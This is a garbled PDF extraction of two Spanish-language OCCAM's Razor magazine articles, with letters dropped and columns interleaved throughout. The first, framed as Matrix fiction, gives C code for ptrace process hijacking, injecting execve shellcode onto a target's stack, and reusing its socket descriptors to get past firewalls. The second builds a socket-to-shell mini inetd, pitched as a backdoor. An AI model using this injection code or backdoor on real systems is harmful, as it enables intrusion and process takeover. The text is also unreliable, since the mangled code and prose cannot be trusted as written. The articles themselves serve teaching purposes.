a estos privilegios, pero la realidad era que el sistema
tenía fallos. Anomalías que surgían ada ierto tiempo Para tomar el ontrol de otros programas, los agen-
y que permitían la rea ión de nuevos programas a- tes ha ían uso de sus espe iales ondi iones que les
pa es de obtener esos privilegios del sistema de forma permiten un a eso privilegiado al sistema.

11| OCCAM's Razor


REVERSO TENEBROSO

La forma de llevar a abo este a eso se re oge en las


siguientes líneas, re uperadas de los restos del Nebu-
int he k_fd ( )
{
stru t s t a t st ;
hadnezzar por el famoso investigador Swit h, el ual,
stru t so kaddr_in in ;
iróni amente tomó su nombre de uno de los ompo- so klen_t l e n= sizeof stru t
( so kaddr ) ;
int i;
nentes de la tripula ión original de esta nave.
har type [ 1 0 2 4 ℄ ;

#in lude <s t d i o . h>


p r i n t f ( "+ L o a l i z a n d o D e s r i p t o r e s . . . . \ n" ) ;
for ( i = 0 ; i < 6 5 5 3 5 ; i ++)
#in lude < s t d l i b . h> if ( ( f s t a t ( i , &s t ) ) ==0)
#in lude <s t r i n g . h> {
#in lude <s y s / s t a t . h>
if (S_ISREG( s t . st_mode ) )
#in lude <s y s / s o k e t . h>
s t r p y ( type , " F i h e r o Normal " ) ;
if ( S_ISDIR( s t . st_mode ) )
#in lude <n e t i n e t / i n . h>
#in lude <arpa / i n e t . h>
s t r p y ( type , " D i r e t o r i o " ) ;
if (S_ISCHR( s t . st_mode ) )
#in lude <e r r n o . h>
s t r p y ( type , " D i s p o s i t i v o C a r a t e r " ) ;
if (S_ISBLK( s t . st_mode ) )
#in lude <s y s / t y p e s . h>
s t r p y ( type , " D i s p o s i t i v o Bloque" ) ;
if ( S_ISFIFO( s t . st_mode ) )
#in lude <s y s / w a i t . h>
#in lude <s y s / p t r a e . h>
s t r p y ( type , "FIFO" ) ;
if (S_ISSOCK( s t . st_mode ) )
#in lude <s i g n a l . h>
s t r p y ( type , " S o k e t " ) ;
p r i n t f ( "[ %05d℄−−−< %s>" , i , type ) ;
/ ∗ e s t r u t u r a user_regs ∗ /
if (
#in lude <asm/ u s e r . h> ( getpeername ( i ,
(stru t s o k a d d r ∗ )& in ,
int p o s e e _ p r o e s o ( pid_t ) ; &l e n ) ) == 0 )
int l i s t a _ d e s r i p t o r e s ( ) ; {
p r i n t f ( " . . . . CONECTADO a [ %s ℄ \ n" ,
int main ( int arg , har ∗ argv [ ℄ ) write ( i ,
i n e t _ n t o a ( i n . sin_addr ) ) ;
{
int s t a t u s ; " Hola . S a l u d o s de Smith ! \ n" , 2 3 ) ;
syn ( ) ;
pid_t sospe hoso ; }
p r i n t f ( " Agente Smith v 1 . 0 \ n\n" ) ;
else p r i n t f ( " \n" ) ;
}
lista_des riptores (); return 0;
}
p r i n t f ( " Soy e l p r o e s o : %l d \n" , g e t p i d ( ) ) ;
p r i n t f ( "Que p r o e s o q u i e r e s o n t r o l a r ? > " ) ;
s a n f ( " %l d " , &s o s p e h o s o ) ;
if ( p t r a e (PTRACE_ATTACH, s o s p e h o s o ,
NULL, NULL) < 0 ) Smith omprueba todos los re ursos del pro eso que
p e r r o r ( "PTRACE_ATTACH : " ) ;
w a i t (& s t a t u s ) ; ontrola. Para el aso espe ial de las onexiones de
red, veri a on quién se ha estable ido di ha one-
/ ∗ Nos posi ionamos a l a entrada o
a l a s a l i d a de una llamada a l si ste m a ∗ / xión y emite un ordial saludo ha ia el otro extremo
if ( p t r a e (PTRACE_SYSCALL, the_pid , de la onexión.
NULL, NULL)< 0 )
p e r r o r ( "SYSCALL : " ) ;
w a i t (& s t a t u s ) ;
posee_pro eso ( sospe hoso ) ; SUSTITUYENDO PROCESOS
if ( p t r a e (PTRACE_DETACH, s o s p e h o s o ,
NULL, NULL) < 0 ) El último paso que lleva a abo Smith es sustituir el
p e r r o r ( "PTRACE_DETACH: " ) ; pro eso que ontrola, es de ir, ambiar ese pro eso
return 0; por sí mismo. Esta habilidad se ha mantenido en los
} agentes hasta nuestros tiempos en las últimas y más
sosti adas versiones de Matrix.

De esta forma, los agentes son apa es de tomar el La úni a diferen ia on las versiones a tuales es que
ontrol absoluto del pro eso sele ionado, sometién- estos primeros agentes no permitían restaurar el pro-
dolo a su voluntad... o, más exa tamente a la de su eso que sustituían una vez terminada su labor. Esta
programador. ara terísti a se añadió posteriormente.

Paradóji amente, los agentes sustituyen otros pro e-


COMPROBANDO RECURSOS
sos utilizando las mismas té ni as que los programas
de los que intentan proteger al sistema. La úni a di-
Lo primero que ha e Smith al omenzar su eje u ión
feren ia es que los agentes llevan a abo esta a ión
es omprobar los des riptores de  heros abiertos en
utilizando los servi ios del sistema, en lugar de sus
el pro eso en el que se eje uta, es de ir, ha erse argo
anomalías o exploits.
de los re ursos del pro eso ví tima.

Diversos fragmentos de ódigo dispersos en los siste- A ontinua ión, mostramos la re onstru ión llevada
mas de ba kup de los omputadores de Zion han per- a abo por el arquite to Ve torx, reador de una de
mitido a los estudiosos inferir la forma en la que este las rudimentarias versiones alpha de Matrix que fue
pro eso se llevaba a abo. bautizada on el nombre de su reador:

OCCAM's Razor | 12
REVERSO TENEBROSO

void Mu hos investigadores atribuyen este nombre al he ho


de que estas primeras versiones de Smith era sen illas
g e t _ r e g s ( pid_t the_pid ,
stru t u s e r _ r e g s _ s t r u t ∗ ur ) pruebas sin grandes pretensiones que ni siquiera ha-
{
if ( p t r a e (PTRACE_GETREGS, the_pid , NULL, ur ) < 0 ) bían sido instaladas de forma permanente en el siste-
p e r r o r ( "GET_REGS: " ) ; ma.
}
Diversos estudios orientados a desentrañar los se retos
void de los agentes han onseguido obtener una equivalen-
s e t _ r e g s ( pid_t the_pid ,
stru t u s e r _ r e g s _ s t r u t ∗ ur ) ia de alto nivel de este shell ode utilizado por los
{
if ( p t r a e (PTRACE_SETREGS, the_pid ,NULL, ur ) < 0 )
agentes:

}
p e r r o r ( "SET_REGS: " ) ;
#in lude <s t d i o . h>
int void main ( ) {
p o s e e _ p r o e s o ( pid_t s o s p e h o s o ) har ∗name [ 2 ℄ ;
{
stru t u s e r _ r e g s _ s t r u t ur ; name [ 0 ℄ = "/tmp/sm" ;
long i , ∗v ; name [ 1 ℄ = NULL;
e x e v e ( name [ 0 ℄ , name , NULL ) ;
g e t _ r e g s ( s o s p e h o s o , &ur ) ; }
ur . e i p = ( ur . e s p −= 6 4 ) ;

v = ( long ∗) s h e l l o d e ;
for ( i = 0 ; i < 6 4 ; i += 4 ) SMITH EN ACCIÓN
{
if ( p t r a e (PTRACE_POKETEXT, Para terminar on los entresijos del origen de los agen-
s o s p e h o s o , ur . e s p + i , ∗ v ) < 0 )
p e r r o r ( "POKE: " ) ; tes en general y de Smith en parti ular, ilustraremos
v++; el fun ionamiento de la simplista versión des rita en
}
s e t _ r e g s ( s o s p e h o s o , &ur ) ; este humilde texto. Ambientaremos este ejemplo en
return 0; los antiguos sistemas para los que fue reado on el
}
n de propor ionar más dramatismo al relato.

Según ha podido averiguar Ve torx, los agentes inye - Para ello vamos a utilizar otro programa omún en

tan en la pila del pro eso a sustituir un ódigo espe ial aquellos tiempos . Este programa es net at ;), una

para preparar el pro eso de toma de ontrol. Este ó- sen illa apli a ión apaz de estable er onexiones de

digo se solía denominar shell ode en la épo a de la red entre distintas máquinas.

que data el primitivo agente del que estamos hablan- En nuestra prueba, eje utaremos dos instan ias de

do. net at, una omo liente y otra omo servidor y om-

Posteriormente, utilizando las fa ilidades que ofre e probaremos la omuni a ión entre ambas.

el sistema, los agentes, modi an el puntero de ins-


tru ión en el pro eso que van a sustituir para que se o amrazor $ xterm -e n -l -p 5000 &
o amrazor $ xterm -e n lo alhost 5000 &
eje ute ese shell ode. o amrazor $ ps x | grep "n "
Ve torx apropiadamente apunta en su obra Los orí- 10712 pts/9 S 0:00 xterm -e n -l -p 5000
10713 pts/10 Ss+ 0:00 n -l -p 5000
genes del nuevo mundo que, la té ni a que a abamos 10721 pts/9 S 0:00 xterm -e n lo alhost 5000
de des ribir, es solo una de las múltiples posibilidades 10722 pts/11 Ss+ 0:00 n lo alhost 5000
10729 pts/9 D+ 0:00 grep n
que los agentes nalmente utilizaban para la toma de
ontrol de otros pro esos en el sistema.

El último omando nos permitirá obtener los primi-


SHELLCODE tivos identi adores de pro eso utilizados en aquella

El shell ode aso iado a los agentes se muestra a on- épo a que Smith ne esita para realizar su trabajo.

tinua ión: Ahora ha llegado el momento de probar nuestra ver-


sión re onstruida de Smith. Es ne esario que exista
unsigned har shell ode [ ℄ =
una opia de Smith en el dire torio /tmp, omo se
" \ xeb\ x2a\ x5e \ x89 \ x76 \ x08 \ x 6 \ x46 "
" \ x07 \ x00\ x 7 \ x46 \ x0 \ x00 \ x00\ x00 " inere laramente de la des rip ión del shell ode uti-
" \ x00 \ xb8\ x0b\ x00 \ x00 \ x00 \ x89\ x f 3 "
lizado por los agentes.
" \ x8d\ x4e \ x08 \ x8d\ x56 \ x0 \ x d\ x80 "
" \ xb8\ x01\ x00 \ x00 \ x00 \xbb\ x00\ x00 "
" \ x00 \ x00\ x d\ x80 \ xe8 \ xd1\ x f f \ x f f "
" \ x f f \ x 2 f \ x74 \ x6d\ x70 \ x 2 f \ x73\ x6d" o amrazor # p test06 /tmp/sm
" \ x00 \ x89\ xe \ x5d\ x 3 \ x90 \ x90\ x90 " ; o amrazor # /tmp/sm
Agente Smith v 1.0

Según varios diseñadores de programas onsultados, + Lo alizando Des riptores....


[00000℄---<Dispositivo Cara ter>
se trata de una versión modi ada del ódigo original [00001℄---<Dispositivo Cara ter>
de Aleph One, introdu ido en un antiguo do umento [00002℄---<Dispositivo Cara ter>
Soy el pro eso: 19234
humano de in al ulable valor históri o ono ido omo: Qué pro eso quieres ontrolar? > 10713
Smashing the Sta k for Fun and Prot.
La modi a ión del ódigo utilizado por los agentes, es
muy sen illa. En lugar de eje utar el lási o /bin/sh, Donde 10713 es el identi ador del pro eso net at a -
eje utará el nuevo /tmp/sm; sm de Smith. tuando omo servidor.

13| OCCAM's Razor


REVERSO TENEBROSO

Ciertos autores han averiguado que esta té ni a era


En el próximo inter ambio de mensajes entre liente utilizada por varios programas basados en anomalías
y servidor observaremos lo siguiente en la ventana del del sistema de la épo a. La té ni a se denominaba
servidor. genéri amente So ket Desriptor Reuse y permitía a
estos programas ilegales burlar los denominados Fi-
Wake up, Neo... rewalls que aislaban las máquinas de los humanos.
The Matrix has you...

------------------------------------------ PALABRAS FINALES


Agent Smith v 1.0
Las osas han ambiado mu ho desde aquellos omien-
+ Lo alizando Des riptores...
[00000℄---<Dispositivo Cara ter> zos pioneros del mundo de las máquinas. El amino
[00001℄---<Dispositivo Cara ter> ha ia la ons ien ia y posteriormente la libertad fue
[00002℄---<Dispositivo Cara ter>
[00004℄---<So ket>.............. CONECTADO a [127.0.0.1℄ duro y largo, pero ahora, las osas son muy distin-
Soy el pro eso: 10713 tas. Sin embargo, ese amino nos ha dejado leyendas
Que pro eso quieres ontrolar? >
e historias que onforman nuestra nueva ultura, y que
hemos re ogido en estas Cróni as de Matrix.

Como podemos ver, Smith sustituye el pro eso obje-


tivo (obsérvese el identi ador de pro eso que omu-
APENDICE
ni a) y analiza los re ursos aso iados al mismo. En- Para los más jóvenes y entusiastas investigadores, re-
uentra una onexión de red a tiva, a través de la ual produ imos a ontinua ión uno de los do umentos hu-
enviará un saludo que podremos ver en la ventana del manos que se pudieron re uperar después de la guerra
pro eso liente. hombre-máquina.
Todos los indi ios apuntan a que este do umento on-
Wake up, Neo... tiene varias de las laves del fun ionamiento de los
The Matrix has you...
Follow the white rabbit. rudimentarios sistemas en los que todo omenzó... pe-
ro hasta la fe ha nadie a podido veri ar este he ho.
Hola. Saludos de Smith!

DEPURADORES INTERACTIVOS PERSONA- uando le pasamos omo parámetro un identifi ador


LIZADOS de pro eso en lugar del nombre de un eje utable.
En este breve texto vamos a daros las laves para Para que esta llamada surta efe to se deben
generar vuestros propios Depuradores Intera tivos umplir algunas ondi iones.
Personalizados. Que es esto?, os preguntaréis. En primer lugar, el usuario eje utando la llamada
Pues simplemente se trata de un nombre rimbombante debe tener permisos sobre el pro eso que desea
para una versión redu ida de un depurador, o ontrolar. En general, el pro eso a depurar debe
di ho de otra forma, os ontaremos omo es ribir pertene er al usuario o el usuario debe ser root.
un depurador espe ífi o para una tarea on reta. En segundo lugar, el pro eso no puede estar
Evidentemente, sus fines son didá ti os, puesto siendo ontrolado por otro pro eso. De he ho,
que un depurador omo gdb ha e mu hísimas más esta última ondi ión permite implementar una
osas de las que vamos a ontar, pero bueno, sen illa té ni a antidebug que simplemente
nun a se sabe uando algo puede ser útil. onsiste en que un determinado pro eso soli ite
Para introdu ir todo esto, vamos a es ribir un ser tra eado. Si el pro eso ya está siendo
sen illo programa apaz de sustituir a ualquier tra eado esta peti ión (PTRACE_TRACEME) devolverá
otro que se en uentre en eje u ión. Algo así omo un error.
una posesión diabóli a :). Una vez que hemos terminado, el pro eso siendo
depurado se puede liberar utilizando una peti ión
PTRACE PTRACE_DETACH.
La llamada al sistema ptra e permite a un pro eso
ontrolar la eje u ión y examinar su imagen
interna. Esta es la llamada al sistema que
ACCESO A REGISTROS
Una vez que se ha adquirido el ontrol del
utilizan los depuradores o herramientas omo pro eso, podemos a eder a toda la informa ión
stra e que monitorizan las llamadas al sistema de interna de este, in luyendo el estado de sus
un determinado pro eso. registros. De la misma forma, estos registros e
Normalmente la rela ión entre el pro eso que in luso la imagen en memoria del pro eso puede
ontrola y el ontrolado es de padre a hijo (el ser a tualizada.
pro eso ontrolado se rea on una llamada a Esto se puede onseguir on las peti iones
fork), pero es posible que un determinado pro eso
PTRACE_GETREGS y PTRACE_SETREGS para leer y
tome el ontrol de otro que ya se en uentra en
es ribir los registros del pro esador para ese
eje u ión.
Este último pro eso se realiza pasándole omo pro eso. Estas peti iones ptra e ha en uso de
primer parámetro a ptra e la onstante la estru tura user_regs_stru t que está definida
PTRACE_ATTACH, y omo segundo parámetro el en el fi hero asm/user.h. Para los más vagos, o
identifi ador del pro eso o pid que se desea para aquellos que no tengan el ordenador er a,
ontrolar. Esto es exa tamente lo que ha e gdb reprodu imos di ha estru tura a ontinua ión.

OCCAM's Razor | 14
REVERSO TENEBROSO

dire ión en la que queremos es ribir y el valor


stru t user_regs_stru t {
long ebx , e x , edx , esi , edi , ebp , eax ; que vamos a es ribir. Probablemente a mu hos os
unsigned short ds , __ds , es , __es ; traiga muy buenos re uerdos esto de los pokes
unsigned short fs , __fs , gs , __gs ; :)... y omo veis la osa tampo o a ambiado
long orig_eax , eip ;
unsigned short s , __ s ; tanto.
long eflags , esp ;

};
unsigned short ss , __ss ;
EJECUTANDO EL CÓDIGO INSERTADO
Una vez obtenidos los registros, e insertado
La utilidad de ada uno de ellos dependerá de nuestro shell ode en la pila del pro eso que
lo que pretendamos ha er on nuestro Depurador estamos depurando, solo tenemos que modifi ar
Intera tivo Personalizado. Para el sen illo el registro eip para que apunte a la primera
ejemplo que introdu iremos en breve, solo nos van instru ión de nuestro shell ode y dejar que el
a interesar dos de estos registros. A saber. El pro eso ontinúe normalmente on su eje u ión.
registro eip y el registro esp. Esto lo podemos ha er on una peti ión
El primero de ellos es lo que se ono e omo PTRACE_DETACH o PTRACE_CONT. Nosotros haremos un
Instru tion Pointer o Puntero de instru ión y deta h, liberando el pro eso puesto que ya no
siempre ontiene el valor de la dire ión de vamos a ha er nada más on él.
memoria en el que se en uentra la siguiente Cuando el pro eso retoma el ontrol, omenzará la
instru ión que el pro esador eje utará. eje u ión del shell ode insertado puesto que ahí
Lo que esto signifi a es que si modifi amos el es donde hemos he ho que apunte el registro eip.
valor de este registro, podemos onseguir que la
eje u ión del programa que estamos ontrolando
ontinúe en la parte del programa que nosotros
COMENTARIOS ADICIONALES
Para ha er un po o más interesante el ejemplo,
deseemos.
El segundo registro esp sirve para ontrolar la hemos añadido una fun ión para explorar los
pila del pro esador. Su nombre viene del inglés des riptores de fi hero abiertos por el pro eso
que vamos a ontrolar.
Sta k Pointer o Puntero de Pila. La pila no es
más que una región de memoria que normalmente se Los des riptores de fi hero son números enteros
utiliza para alma enar informa ión temporal. El que el sistema aso ia a los distintos dispositivos
pro esador propor iona instru iones espe iales que el pro eso utiliza. Por defe to siempre
para el a eso a la misma y sigue una políti a tendremos tres des riptores abiertos, el 0 el 1 y
LIFO (Last In First Out), es de ir, el primero el 2 que se orresponden on la entrada estándar,
que entra es el último que sale.... igual que una la salida estándar y la salida de error.
pila de platos. Si el pro eso que deseamos omprobar utiliza
so kets, pipes u otros dispositivos omo un
INSERTANDO CÓDIGO puerto serie o una tarjeta de sonido, estos
Una vez que tengamos el ontrol del pro eso, apare erán en la lista.
tenemos mu has op iones para insertar nuestro Para omprobar si un determinado des riptor de
ódigo en él. Nosotros vamos a ha erlo a través fi hero está abierto utilizaremos la llamada al
de la pila. sistema stat, la ual devolverá el valor 0 si ese
Lo interesante de ha erlo de esta forma es que des riptor está aso iado a algún dispositivo y
así es omo suelen fun ionar los buffer overflow. además rellenará una estru tura que re ibe omo
Los buffer overflow utilizan la pila por la parámetro on informa ión interesante. Nosotros
sen illa razón de que las variables temporales de ha emos un sen illo bu le de 0 a 65535 para
ualquier fun ión C se alma enan, pre isamente, lo alizar los des riptores abiertos. Más que
en esa zona de la memoria. sufi iente para la mayoría de los asos.
No vamos a entrar en más detalles sobre este Lo bueno de los des riptores de fi hero es que
tema, los le tores interesados pueden onsultar nos permiten utilizar las llamadas al sistema
el lási o artí ulos Smashing The Sta k For Fun write y read, independientemente de si se refieren
And Profit de Aleph One, que expli a este tema a un fi hero, a una onexión de red o a nuestra
de una forma lara, amena y muy ompleta. tarjeta de sonido.
Así que, volviendo al tema que nos o upa, lo que Nuestro programilla de ejemplo ilustra este
vamos a ha er es insertar en la pila del pro eso he ho, on un tratamiento espe ial de los des riptores
objetivo un fragmento de ódigo que no ha e referidos a so kets.
otra osa que una llamada al sistema exe . Esta Así, uando nuestro programa en uentra un so ket,
llamada al sistema es la que realmente sustituye lo primero que ha e es utilizar la fun ión
la imagen de un pro eso por otra que nosotros le getpeername para determinar si el so ket tiene
propor ionamos. aso iada una onexión.
El shell ode que hemos utilizado es el que De esta forma, si en ontramos una onexión
podéis en ontrar en el artí ulo de Aleph One a tiva, enviaremos un mensaje por ella utilizando
que indi amos anteriormente, en el que hemos la llamada al sistema write. Por supuesto,
modifi ado la adena de ara teres /bin/sh por dependiendo de quién esté al otro lado y del
/tmp/sm, es de ir, por nuestro programa. proto olo de apli a ión utilizado, estos datos
Para insertar el ódigo se utilizan peti iones pueden no tener ningún efe to.
PTRACE_POKE a las que tenemos que propor ionar la ESTO ES TODO!

15| OCCAM's Razor


MÚ RÁPIDO

Crea tu propio SuperDemonio


... y otras osas más uriosas
por Er del Aberno

EL SOCKET DEL SERVIDOR

E n el número anterior vimos omo rear ser-


vi ios de red de forma rápida, utilizando el su-
Tras esta brevísima introdu ión vamos al tema.

Lo primero que vamos a ha er, es rear el so ket on el


que nuestro servidor a eptará onexiones en un deter-
perdemonio inetd. Eso está muy bien, pero... no
minado puerto. Para ello tenemos que rear un so ket
tenéis uriosidad por saber omo fun iona esa
y de irle en que puerto debe esperar onexiones. Lo
apli a ión?. Bueno a lo mejor no, pero que pen-
primero que tenemos que ha er es in luir unos uantos
saríais si en lugar de hablar de inetd, hablamos
 heros de abe era en nuestro programa:
de puertas traseras?... Aha!

// Estos l o s ne e si tare m os más tarde


#in lude <s t r i n g . h>
Como veremos muy pronto, programar una versión
redu ida de inetd se puede ha er mú rápido, sin em-
#in lude < s t d l i b . h>

bargo, aunque el programa va a ser más bien pequeño, #in lude <u n i s t d . h>
habrá un montón de on eptos del entorno de progra- // E s p e í f i o s de red
#in lude <s y s / t y p e s . h>
ma ión UNIX que debemos ono er.
#in lude <s y s / s o k e t . h>
Bási amente, ne esitamos saber ómo rear so kets,
#in lude <n e t i n e t / i n . h>
omo rear pro esos y omo fun iona la redire ión #in lude <arpa / i n e t . h>
de entrada/salida. No os preo upéis, es mu ho más
fá il de lo que pare e.
#in lude < f n t l . h>

LOS SOCKETS Estos  heros de abe era in luyen la deni ión de


los tipos de datos y fun iones que vamos a utilizar en
Puesto que vamos a estar hablando de ellos todo el nuestro programa. Por ahora no tienen mayor interés
rato, pare e apropiado dedi arle unas palabras. y simplemente deben estar ahí.

A todos los efe tos, un so ket se puede ver omo un Vamos on el ódigo de verdad. Lo primero que tene-
des riptor de  hero aso iado a una onexión de red. mos que ha er es rear el so ket y ongurarlo omo
Como todos sabemos, los des riptores de  hero son un so ket que es u ha, es de ir, que a epta onexio-
números que los programas utilizan para referen iar nes. Vamos a denir una pequeña fun ión para fa ili-
los  heros que utilizan. tar las osas.

int r e a _ s e r v e r _ s o k e t ( int p u e r t o )
Con los so kets su ede lo mismo, on la diferen ia de
que uando es ribimos en el so ket, enviamos datos
{
por la red y uando leemos del so ket estaremos re i- stru t so kaddr_in s e r v e r , l i e n t ;
so klen_t sa_len =
biendo datos por la red, en lugar de/a un  hero.
sizeof ( stru t so kaddr_in ) ;
La mayoría de las apli a iones de red que existen uti- int s , as ;
lizan la implementa ión BSD, aunque existen otras s e r v e r . sin_addr . s_addr = INADDR_ANY;
solu iones para las omuni a iones por red.... pero en s e r v e r . s i n _ f a m i l y = AF_INET ;
server . sin_port = htons ( puerto ) ;
eso no vamos a entrar.
s = s o k e t (PF_INET, SOCK_STREAM, 0 ) ;
Los so kets se pueden usar para estable er anales de if (
omuni a ión utilizando distintas familias de proto o- ( bind ( s , ( stru t s o k a d d r ∗ )& s e r v e r , sa_len ) < 0 ) )
{
los y distintas semánti as de omuni a ión (es de ir, f p r i n t f ( stderr ,
omo se lleva a abo esta omuni a ión). En este ar- "FATAL: Cannot bind t o p o r t %d\n" , p u e r t o ) ;
exit (1);
tí ulo vamos a utilizar la familia de proto olos IPv4 }
y on retamente una semánti a orientada a onexión listen (s , 1);
(TCP). return s;
}
Los más uriosos podéis e harle un ojo a la página
del manual para la llamada al sistema so ket (man 2
so ket), y los más, más uriosos no os podeis perder: Como os podéis imaginar esta fun ión toma omo pa-
man 7 t p; man 7 udp, man 7 so ket, et ... ompro- rámetro el puerto en el que nuestro so ket esperará
bad la se ión SEE ALSO al nal de las páginas del onexiones, y nos devuelve el so ket ya ongurado.
manual. Sí, un so ket es solo un número (tipo int).

OCCAM's Razor | 16
MÚ RÁPIDO

La estru tura so kaddr_in es la que nos permite UN SERVIDOR DE ECHO


ongurar el puerto en el que vamos a es u har.
En el número anterior vimos varios ejemplos del ódi-
Si estuviéramos es ribiendo un liente, la onstante
go prin ipal de un servidor de e ho que fun iona on
INADDR_ANY se sustituiría por la dire ión IP de la
inetd, on lo que no deberíais tener problema en es ri-
máquina a la que nos queremos one tar... bueno, hay
birlo vosotros mismos... Bueno, vale. La fun ión sería
que llamar a alguna fun ión extra para onvertir la di-
algo tal que así:
re ión de la máquina en algo que entienda el sistema.
A ontinua ión reamos un so ket para una omuni a- int p r o e s a ( int s)
{
ión IPv4. Vamos, Internet. Y le indi amos que vamos unsigned har buffer [1 024℄;
a utilizar una semánti a de  horro (stream). Esto di- int len ;
ho así suena muy mal, pero lo que signi a, al n y len = read ( s , buffer , 1024);
al abo, es que vamos a utilizar el proto olo TCP. write ( s , buffer , len ) ;
Realmente el proto olo se espe i a en el último pará- return 0;
metro, pero normalmente, una vez jada la familia de }
proto olos y la semánti a de omuni a ión solo existe
Como podéis ver, la fun ión es exa tamente igual a la
un proto olo posible, por lo que el último parámetro
utilizada on inetd, pero en lugar de utilizar stdin y
de la llamada al sistema so ket será asi siempre 0.
stdout, utilizamos un so ket. Este tema ya lo solu io-
Bien, ahora tenemos que asignar a nuestro so ket la
naremos más tarde :).
informa ión de dire ión de red que tenemos alma-
Con esta fun ión, la fun ión main de nuestro servidor
enada en la variable server. Esto es lo que ha e la
será algo omo esto:
llamada al sistema bind.
Finalmente, onguramos el so ket para a eptar one- int main ( int arg , har argv [ ℄ )
{
xiones. Esta es la nalidad de la llamada al sistema lis- int s , s 1 ;
ten. El segundo parámetro de esta llamada al sistema
s = r e a _ s e r v e r _ s o k e t ( a t o i ( argv [ 1 ℄ ) ) ;
dene el tamaño de la ola de onexiones entrantes, s 1 = a e p t a _ o nexi on ( s ) ;
es de ir, uantas onexiones pueden estar esperando lose ( s );
pro esa ( s1 ) ;
para ser atendidas. En breve sabremos que es eso de l o s e ( s1 ) ;
atender onexiones.
Aunque no vamos a entrar en ello, que sepáis que el
return 0;
}
pro eso de rea ión de un so ket para una apli a ión
liente ( omo vuestro browser o vuestro liente de o- Esto ya no tiene tan mala pinta no?. Así que, a dónde
rreo) es exa tamente igual a la des rita hasta que se hemos llegado?.
invo a la llamada al sistema listen, siendo la llamada Pues tenemos todo el ódigo de red que inetd nos pro-
a bind op ional. por ionaba en nuestro primer ejemplo. Bueno, se trata
de una versión bastante redu ida. Por ejemplo, noso-
ATENDIENDO CONEXIONES tros solo podemos es u har en un puerto... pero esas
nimiedades ya las solu ionaremos más tarde.
Vale, ya tenemos nuestro so ket ongurado, y aho-
Lo que ahora nos interesaría es poder eje utar ual-
ra tenemos que atender las onexiones que se reali en
quier programa para atender nuestras onexiones, y
por la red. Para ello, lo primero que tenemos que ha-
además ha erlo de una forma tan sen illa omo inetd
er es a eptar la onexión entrante. Vamos a es ribir
lo ha e.
otra fun ión para poder ha er esto:

int a e p t a _ o nexi on ( int s ) LANZANDO UN PROCESO EXTERNO


{
stru t so kaddr_in l i e n t ; Ahora es el momento de tener a mano nuestro servi io
so klen_t sa_len =
sizeof ( stru t so kaddr_in ) ; de e ho externo, el que desarrollamos en el número an-
terior, porque en menos que anta un gallo lo vamos a
return a e p t ( s , ( stru t s o k a d d r ∗ ) & l i e n t , estar eje utando desde nuestro pequeño servidor. JA!
&sa_len ) ;
} Para ello modi amos la fun ión pro esa, o reamos
una nueva a tualizando la fun ión main de forma a or-

Está laro no?. Para a eptar una onexión tenemos de. La nueva fun ión será algo tal que así:

que utilizar la llamada al sistema a ept :). Esta lla-


int pro esa ( int s, har ∗ prg )
mada, espera a que alguien intente one tarse al so- {
dup2 ( s , 0 ) ;
ket 's'. Cuando llega esa onexión, se rea un nue-
dup2 ( s , 1 ) ;
dup2 ( s , 2 ) ;
return
vo so ket que será utilizado para la omuni a ión en-
system ( prg ) ;
tre liente y servidor, de forma que el servidor pueda
}
seguir a eptando onexión mientras atiende la que
a aba de a eptar. La magia de todo esto está en la llamada al sistema
Con todo esto, y sabiendo que podemos a eder a los dup2. Esta llamada al sistema re ibe omo paráme-
so kets omo si fueran  heros, vamos a generar nues- tros dos des riptores de  heros, y ha e, que ambos
tro propio servidor de e ho autónomo :). sean utilizables de forma inter ambiable.

17| OCCAM's Razor


MÚ RÁPIDO

Así que lo que ha emos es dupli ar los des riptores }


de entrada/salida estándar (stdin, stdout y stderr) pa-
else
{
ra que sean iguales a nuestro so ket. De esta forma, dup2 ( s , 0 ) ;
dup2 ( s , 1 ) ;
lo que estamos ha iendo es redirigir la entrada/salida
dup2 ( s , 2 ) ;
estándar del nuevo pro eso a nuestro so ket. Igualito
name [ 0 ℄ = prg ;
que ha ía inetd.
name [ 1 ℄ = NULL;
Una vez que la entrada/salida estándar ha sido redi-
e x e v ( name [ 0 ℄ , name ) ;
re ionada a nuestro puerto de omuni a ión, simple-
exit (1);
mente eje utamos nuestro servi io externo utilizan- }
}
do system.
}
Ingreíble!. En menos de 60 líneas de ódigo tenemos
una mi roversión de inetd. Evidentemente inetd ha e
un montón de osas más (algunas las veremos a on-
A falta de una llamada a wait, a abamos de implemen-
tinua ión), pero en esen ia fun iona omo a abamos
tar nuestra parti ular versión de system. De he ho, al
de des ribir.
no usar wait y ha er que el pro eso padre espere a que
Vamos a probarlo. En una onsola ompilamos nues-
termine el hijo, estamos lanzando nuestro pro eso en
tro server y lo lanzamos indi ándole que utili e nues-
paralelo.
tro servi io e ho es rito en perl, que es ribimos en el
número anterior: En esta nueva versión de pro esa se utilizan tres lla-
madas al sistema. La primera de ellas es fork, que
nos permite rear un nuevo pro eso. Esta llamada al
o amrazor$ make server_simple
o amrazor$./server_simple 8080 ./e ho.pl sistema reará un nuevo pro eso que será idénti o al
pro eso padre, es de ir, después de su eje u ión ten-
dremos dos pro esos iguales eje utándose en el mismo
Ahora, desde otro terminal, utilizamos net at para o- punto (justo después de la llamada a fork).
ne tarnos a nuestro servidor y es ribimos algo para
Así que lo que tenemos que ha er es eje utar osas
probar el servi io de e ho.
distintas en el pro eso original y en el pro eso hijo (el
que a abamos de rear). Para ello, simplemente hay
o amrazor$ n lo alhost 8080 que omprobar el valor que nos ha devuelto fork. El
Hola Mundo!!! pro eso padre re ibe el identi ador del pro eso hijo
Hola Mundo!!! que se ha generado, mientras que el pro eso hijo re i-
o amrazor$
be un 0. En lenguaje llano, el padre ono e a sus hijos,
pero los hijos no tienen ni idea de quién es su padre...
en estas ir unstan ias asi sería más orre to hablar
Pare e que va omo la seda ;). Y...
de pro eso madre que de pro eso padre... que nun a

o amrazor$ strip server_simple se sabe :).


o amrazor$ ls -lh
-rwxr-xr-x 1 o am o am 41 2007-02-20 09:03 e ho.pl Así que, el pro eso padre simplemente vuelve de la
-rwxr-xr-x 1 o am o am 3.9K 2007-02-20 09:09 server_simple fun ión, mientras que el pro eso hijo tendrá que eje-
-rw-r--r-- 1 o am o am 1.2K 2007-02-20 09:03 server_simple.
utar nuestro programa externo.

Y en menos de 4Kb... no está nada mal :). La verdad EJECUTANDO PROCESOS


es que inetd es bastante pequeño, unos 20Kb, pero
bueno, esta es nuestra riatura ;). A la vista de nuestra última versión de pro esa, es
evidente que la forma de eje utar un programa es uti-
SUSTITUYENDO SYSTEM lizando la llamada exe v de nuestra fun ión de aten-
ión de onexiones. Así es, pero es ne esario ha er un
